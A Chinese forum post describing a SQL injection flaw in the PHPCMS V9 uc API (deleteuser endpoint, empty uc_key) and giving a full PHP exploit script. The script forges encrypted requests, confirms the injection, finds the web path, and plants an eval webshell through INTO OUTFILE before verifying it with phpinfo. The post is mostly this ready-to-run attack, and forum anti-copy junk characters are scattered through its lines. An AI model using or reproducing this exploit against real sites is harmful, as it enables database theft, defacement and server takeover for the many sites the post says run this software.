找回密码
 立即注册
查看: 2527|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。: g6 o. e8 ^9 }, D/ B) b# S: y
8 b& Y" t5 p% d) o* w3 A% w- W, a
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
  L5 A" o1 r. D$ ?# S5 L! f* I% Q# D1 U5 c! s8 r4 }
漏洞分析:9 E' C) [  Y9 v" p# v; J
1.未启用ucenter服务的情况下uc_key为空
1 @- y! C5 L6 v5 b+ Ydefine('UC_KEY', pc_base::load_config('system', 'uc_key'));$ u" V7 {5 g, w2 d3 c3 J/ u7 m/ _
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
7 i6 e; t3 u7 \% x8 ~! B; l) `" A    public function deleteuser($get,$post) {0 Q9 d" Q1 H! h* @, |  b( E" t
        pc_base::load_app_func('global', 'admin');
* S+ L* `+ M9 O3 i  \9 R% P% l        pc_base::load_app_class('messagequeue', 'admin' , 0);: y) U8 {/ m  `; i; Z6 m& c- t
        $ids = new_stripslashes($get['ids']);
5 y" g+ E6 y' L" C2 ?7 @$ p/ f        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
. x& e! m  h3 ]1 i2 gSQL语句为- C+ b- G9 F) q- i: _) y
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
- p5 E- N& i( b6 s, c. Z
3 r" V2 U0 |0 G4 d. O利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell9 g6 _; C6 o8 z+ r6 W8 C
<?php
$ h5 h+ Z4 a$ y6 v' S4 Fprint_r(': _/ u9 [* H1 F( p# x, d9 @8 |/ o
---------------------------------------------------------------------------
- v! e/ u  Y$ qPHPcms (v9 or Old Version) uc api sql injection 0day& C& C% |) {: ]; @, i, r$ O" q4 _
by rayh4c#80sec.com
: F/ u! |/ {, r& |# v, M---------------------------------------------------------------------------
& F$ w. r% G) v! A( a  m');$ h! h" U' ~% J
5 Z/ P+ ^0 n( {" M1 d0 f; L
if ($argc<3) {2 `9 {0 C! d) A, R
    print_r('
( w0 E7 e' Q" A5 k$ f---------------------------------------------------------------------------
* I% `) T: j# x  z! G1 X/ yUsage: php '.$argv[0].' host path OPTIONS4 B( F( i' M+ B+ A# t3 \. r8 `+ {
host:      target server (ip/hostname): D- \) t: X) H/ Z
path:      path to phpcms* Y8 k0 ^$ l  W3 g4 w& D
Options:% W* T; {1 T* Z! v! L' P
-p[port]:    specify a port other than 80
8 X1 y6 F2 O0 h' ?) ~ -P[ip:port]: specify a proxy1 i5 k6 C0 ^& ]0 K$ b2 @+ a
Example:
, Z! ]! z4 L9 d( X5 Ophp '.$argv[0].' localhost /5 w' \$ R4 o# H7 e- ?- n. s
php '.$argv[0].' localhost /phpcms/ -p81
  L# Z+ w4 z& D) Sphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80/ m# `3 c+ p( r9 p% A" b( _
---------------------------------------------------------------------------% q) n4 x' S# I
');
; Q4 T$ }) j3 d: V' U    die;
4 U! f: c9 Y0 r# B! d) U}
1 K8 T# @8 N; M7 D' h0 q2 G
7 J5 F( z' m9 U1 [6 ]$ terror_reporting(7);1 _" Y) B  i$ Q  Q' o6 o
ini_set("max_execution_time",0);! f6 ?, L' I" [1 O0 k, S* h! X2 p
ini_set("default_socket_timeout",5);
' C: W- {8 c( @4 F& V, M6 T3 p$ s* \, E6 D5 G
function quick_dump($string)
) h( p, ]( P$ z0 k) r) V{# U3 M9 f) o+ R7 ]) D4 C; H
  $result='';$exa='';$cont=0;
3 R8 ?; t% O. w' a# w; g  for ($i=0; $i<=strlen($string)-1; $i++)
+ r7 o4 ~6 ?. k. y  {/ r9 L0 m& O2 O, i
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )), N/ J- ~3 s& T9 W, |- L
   {$result.="  .";}1 H& z9 d: j1 O4 y; H
   else
# z+ I# i6 b( y) G   {$result.="  ".$string[$i];}
' O9 ^  ]! f2 D   if (strlen(dechex(ord($string[$i])))==2)6 J6 _# X1 c: c7 _& x8 q$ ~
   {$exa.=" ".dechex(ord($string[$i]));}, P% B7 m" _- Y# q
   else
8 B& \8 }* x6 f/ S   {$exa.=" 0".dechex(ord($string[$i]));}8 F9 f; ?* f* H% ]$ @0 C4 \
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
) Z! }& _6 V( W  }
6 x" t& }+ I1 o0 V* T return $exa."\r\n".$result;8 h2 h* g# C8 D8 F: d6 ^
}
, p! U& \* L6 Z9 A' P2 D$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';) H$ @5 }, l0 T4 R

1 X7 }( n- ]4 R% ^- M, E/ l' Afunction send($packet)8 g+ ?$ ^3 _; c
{
) z' U/ G8 y6 E; n5 B" W: }  global $proxy, $host, $port, $html, $proxy_regex;
9 k+ f+ n8 [4 ?5 b2 ~  if ($proxy=='') {. c* L. W, F/ x( G+ }
    $ock=fsockopen(gethostbyname($host),$port);* u, A. g  l1 Q4 n( N2 ^$ t
    if (!$ock) {
! X+ ~: }7 y8 h# |# W0 B      echo 'No response from '.$host.':'.$port; die;
9 w. i9 C& d6 i$ K4 H4 G& t    }: D& s, e" G$ l
  }
6 y! R! ~  u! O9 L  ]# i* [  else {
8 x# |! J7 b) a  L" U6 J, P+ V        $c = preg_match($proxy_regex,$proxy);, N6 `9 z  D6 K  w! D8 D
    if (!$c) {
: W$ V1 D5 f5 G& x- r      echo 'Not a valid proxy...';die;
# _6 s+ Z$ W. V/ v6 c    }% a  I, Z8 |& s% Z6 c! ~
    $parts=explode(':',$proxy);7 f* e  ?" b, M' h
    $parts[1]=(int)$parts[1];' u3 g  ?- n+ W- J
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
. |: l" g; y* X3 w/ b    $ock=fsockopen($parts[0],$parts[1]);
  x& v$ w5 \7 k; u4 o    if (!$ock) {1 ~" x; {; _$ z- R, g
      echo 'No response from proxy...';die;. y1 c. x& @+ e' J; c, `5 A* ]
        }; H/ I$ @  X3 m) P+ o4 y5 x
  }
! Y0 U2 S5 @: Y  fputs($ock,$packet);
7 K. Y! G% j: o4 [6 G) L+ d  if ($proxy=='') {$ R  X5 M) z+ m# v* E
    $html='';! M3 m) x' o  ^% ?2 Q) h8 c
    while (!feof($ock)) {
( i5 |; Q+ Y# ^4 A- X      $html.=fgets($ock);9 @/ p  |" i  n+ U( H- ~/ ?
    }& s6 p" @5 u( ^" u) `
  }& C5 d3 u- M7 f
  else {. Z9 a: N+ b7 q. N; D0 n
    $html='';! N5 q- t$ u& `$ o) T7 Q. c5 U6 z
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {; W, x1 r7 i( |* ~$ a+ s
      $html.=fread($ock,1);- N( p7 |- Q3 D: `6 X3 a- y
    }
$ ~1 I: }" C- k# s7 X  }/ B8 \/ c$ I, g# v  z' Y" p' y- k6 f
  fclose($ock);
1 _  K' R0 j+ o- d6 Z+ a}$ Z0 b* Y* W4 \% ~0 ?& j8 n6 v6 e$ \

% M+ S; t/ Z, z. u. \0 X/ }" X" x$host=$argv[1];0 t' {1 Y: z+ C( R" n
$path=$argv[2];; u9 g5 g  `3 o( u0 X9 b9 s" g5 h
$port=80;4 A, a6 w& e$ |* I* Y: _
$proxy="";/ `+ W; s9 A* f1 {
for ($i=3; $i<$argc; $i++){
2 Q7 x3 H" o% j9 M. z$ [9 x: P$temp=$argv[$i][0].$argv[$i][1];$ U- Y7 R+ }7 M7 P9 m1 x
if ($temp=="-p")
* d/ D& w% {  ]/ ^- o{
$ e- P, `( `4 S. [- ~8 `  $port=(int)str_replace("-p","",$argv[$i]);2 D: D0 R1 R& j1 \
}
7 I0 j9 E8 h" w6 A  w' g5 x1 dif ($temp=="-P")
: k: d: M' _3 E' a{
9 Y4 U/ \# T& S7 a8 x6 [  $proxy=str_replace("-P","",$argv[$i]);3 `2 E, v1 R( j3 u7 S, X
}' h6 j0 s4 k5 E
}9 [" f. W  t, v. H) d
4 }. o" H' l# S: R, L
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}7 H2 {6 t% W' q1 S+ W
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
( ]- n8 C) u; j! `& i" @: f% S+ b
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
: _/ D4 @6 f, n& m( ~
: k7 P+ j. W9 [  _3 f6 f    $ckey_length = 4;
8 S* ?  v% ?. X$ t' C
4 ]4 I* J7 L7 S1 J' ?2 l+ Q. p# L    $key = md5($key ? $key : '');
1 x- t" F  G8 ]2 Q    $keya = md5(substr($key, 0, 16));& p3 c# }* ?* `
    $keyb = md5(substr($key, 16, 16));" A0 ]9 X' C: a( {8 z  X) y# m/ ^9 {
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
' ]' ]9 [2 X' k0 u" s. U0 K% N3 a( m0 Y% k0 M. D" H
    $cryptkey = $keya.md5($keya.$keyc);$ v! Y- v" A: E3 t% E2 M. |8 I
    $key_length = strlen($cryptkey);
, z3 }$ L5 R: r& k9 l& T, b: K
: t+ r6 J) T( ~; ?9 S$ k% b    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;, i& ^' V/ i5 c( K
    $string_length = strlen($string);
& H& z. k* }4 T! j
( z# L8 z2 \" L# v  V( E  M2 V    $result = '';
* g7 v, p: I2 Y, w) v, ]    $box = range(0, 255);7 b. g1 P$ n- @7 I+ b( V
: j% S. y% W2 ?4 }! S. k* y( E, j0 [
    $rndkey = array();
2 w) R9 Z4 S% f* \' n    for($i = 0; $i <= 255; $i++) {- D' S$ T( a) U5 A; U, w% E- ~
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
' f/ A6 E$ n  {9 H* O: g    }* {) f+ p& h- j- J- i4 f# ]1 ?
3 k3 c4 [) x* @8 Q' N2 ?7 T
    for($j = $i = 0; $i < 256; $i++) {
7 {8 z5 g+ N2 [3 Y- T6 K        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
" G! ~/ X; m6 n7 L. B        $tmp = $box[$i];
8 J# s: |3 r# M  d        $box[$i] = $box[$j];! \2 D! J& `1 I3 F- u
        $box[$j] = $tmp;
4 P6 k+ s$ g1 \    }5 H9 Y. V& M5 q" o; Z3 O
' ?- ]0 |  D3 y4 I' i
    for($a = $j = $i = 0; $i < $string_length; $i++) {
/ U- U( O5 G4 z# c  ^7 w        $a = ($a + 1) % 256;3 l. X# B# m' S# c# d0 K
        $j = ($j + $box[$a]) % 256;5 \+ i# |1 u+ K& X( L! N$ Y
        $tmp = $box[$a];
- f/ N3 x4 j4 C0 o        $box[$a] = $box[$j];
$ b7 |, w. O7 ^4 }        $box[$j] = $tmp;
7 N0 i% t) ?( Z" ~# E' {        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
) U) z6 f3 a3 Y# \8 G2 P    }
0 ?# W4 E! v: z* H+ E
  ]' H! A& `) J1 h4 S5 N    if($operation == 'DECODE') {' Q: k* F, H0 m/ v% i
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {% W6 v& M4 o. S
            return substr($result, 26);  {8 V7 v3 e9 z/ B2 O
        } else {
3 y, O1 I! H* ~: i) B            return '';
+ u! g) @: w, g" ?1 i' e        }; M' C5 l7 p+ T
    } else {
3 ~5 {  {7 ?) L        return $keyc.str_replace('=', '', base64_encode($result));
+ v# K8 P" E" x8 z, M5 e9 ^    }
8 u2 y, q! g2 i+ f, m( q$ `9 C) S) b" ?$ t
}
; I, }( |# T" n5 ]! C- I7 _0 [% i( Z9 n$ b: o4 K
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";1 ]1 D' [) D' H: e
$SQL = urlencode(authcode($SQL, "ENCODE", ""));1 Z6 t5 Y" m$ E8 }6 |
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";0 q5 I6 H" o, X( u8 }4 c2 O
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
/ [7 v  ~+ ~. {+ _/ \% k; y- s$packet.="User-Agent: Mozilla/5.0\r\n";
& g/ X6 D4 O; _1 N) q/ k$packet.="Host: ".$host."\r\n";
6 N1 C( m/ {9 T! m4 [$packet.="Connection: Close\r\n\r\n";
$ i( U, U/ k, d) e  S! ~; X2 k7 ?; Csend($packet);& K2 E5 @4 S) k  I; I8 z: Y% ]
if(strpos($html,"MySQL Errno") > 0){
$ e& w* {7 H% x1 [9 P# v. Y0 @$ Techo "[2] 发现存在SQL注入漏洞"."\n";! T( j& \( ?, t" K/ Q2 B/ m* ^
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";% u9 x% v" H& r+ A) D2 a  U
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";5 W& e" ?0 Y2 _* ^: z
$packet.="User-Agent: Mozilla/5.0\r\n";2 X% ~7 v0 |; B1 y3 o
$packet.="Host: ".$host."\r\n";
, }: E- K: z7 ?& y# D$packet.="Connection: Close\r\n\r\n";
) r2 R  ~  T7 }8 r: y3 Dsend($packet);& F0 \4 Z. D2 h0 M9 I% ~/ Y
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
0 e& X1 V+ I" r6 o# R- X8 |//print_r($matches);0 @! f* K: Y& h3 U, p8 t
if(!empty($matches)){  L  d6 I9 g$ X% m" M( s
echo "[4] 得到web路径 " . $matches[0]."\n";7 W8 Z# O% {" E4 m! N2 c& K6 O+ _
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
9 |0 }+ B9 J, h, N9 M$SQL = "time=999999999999999999999999&ids=1)";9 a3 ?1 I( B# R4 E
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
) i5 e6 p4 C4 w+ y) T4 z+ R, x$SQL.="&action=deleteuser";
. i' E9 p) B& _3 l) e. `$SQL = urlencode(authcode($SQL, "ENCODE", ""));
7 K0 L3 Q2 M7 a( J; hecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
; p" ]" N5 H; g9 z) p3 C5 M. ]$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";+ p, [8 n& p9 D. U/ i
$packet.="User-Agent: Mozilla/5.0\r\n";% y8 k6 U- ~7 x+ q0 d4 H
$packet.="Host: ".$host."\r\n";$ ?" F  @0 x, L! N+ @; n; W
$packet.="Connection: Close\r\n\r\n";
2 h. A  y+ f- `7 f! Bsend($packet);6 j* M3 S( ~# [, P
if(strpos($html,"Access denied") > 0){  Y# f2 G4 ?& x8 k# J! ~6 f
echo "[-] MYSQL权限过低 禁止写入文件 ";
' O8 l$ \% a5 W/ r* P" U( vdie;  a' b/ j* [* l3 N9 E7 N- Y8 K
}
" y3 Y9 Y& A7 l: e. B5 iecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
2 s+ d; `! |+ P- ^5 x1 t$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
/ d, Q+ H- @* I/ V4 l4 n9 `  M& o8 p$packet.="User-Agent: Mozilla/5.0\r\n";* Z, E- r# o% h; [% `
$packet.="Host: ".$host."\r\n";
# q! q2 E6 `. y: V) s  M$packet.="Connection: Close\r\n\r\n";
: l; p/ D8 f+ J# |5 J& M7 nsend($packet);
, l/ B' s4 }  ]4 f& W% p. s; xif(strpos($html,"<title>phpinfo()</title>") > 0){
! ~( y  L; t  @4 y9 Y) K1 [! necho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";2 L  N5 X8 v8 [. k7 Q
}$ e4 u. z8 h* n
}else{: V$ h% k6 h! |
echo "[-]未取到web路径 ";
- ]4 A4 Z, V' k- P}
1 J0 o8 n6 W. f$ D, j  v- G}else{5 E1 y. n% A$ ~" t$ t5 b2 H* ~! v, h- O9 ]
echo "[*]不存在SQL注入漏洞"."\n";
4 M6 I1 W$ L' N2 q* u. l  i1 P}
2 P; G7 J- \, ?0 D. `7 o. k* ^- D; z2 ~6 l+ r! s, m% J5 Y  n' O0 Z5 G" k9 q
?>
. O0 ~  @* \* Q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表